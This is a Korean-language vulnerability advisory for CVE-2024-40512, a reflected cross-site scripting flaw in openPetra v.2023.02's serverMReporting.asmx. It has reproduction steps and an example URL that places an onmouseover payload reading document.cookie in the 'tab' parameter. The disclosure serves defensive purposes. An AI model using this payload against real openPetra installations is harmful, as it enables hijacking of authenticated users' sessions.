CVE-2024-40512

openPetra v.2023.02의 serverMReporting.asmx 함수에서 발생하는 크로스 사이트 스크립팅 취약점

설명: 인증되지 않은 사용자가 openPetra v.2023.02의 serverMReporting.asmx 함수에서 XSS를 악용하여 인증된 사용자의 쿠키를 탈취할 수 있습니다.

취약한 제품 버전: openPetra v.2023.02
CVE 작성자: Jansen Moreira
날짜: 13/07/2024
CVE: CVE-2024-40512
CVE 링크: https://www.cve.org/CVERecord?id=CVE-2024-40512
NVD 링크: https://nvd.nist.gov/vuln/detail/CVE-2024-40512
Tenable 링크: https://www.tenable.com/cve/CVE-2024-40512
확인일: 13/07/2024
테스트 환경: Linux

재현 단계:

1. 홈 페이지에 접속합니다.
2. 다음 경로를 사용하고 tab 파라미터에 XSS 페이로드를 추가합니다. 예: http://target.com/api/serverMReporting.asmx?bnd=TMReportingWebServiceSoap&op=TReportGeneratorWebConnector_GetProgress&page=op&tab=x" onmouseover=alert(document.cookie) x="
3. 마우스를 왼쪽 색인 항목 위에 올리면 XSS가 트리거됩니다.

페이로드:
tab: x" onmouseover=alert(document.cookie) x="

발견자/크레딧: Jansen Moreira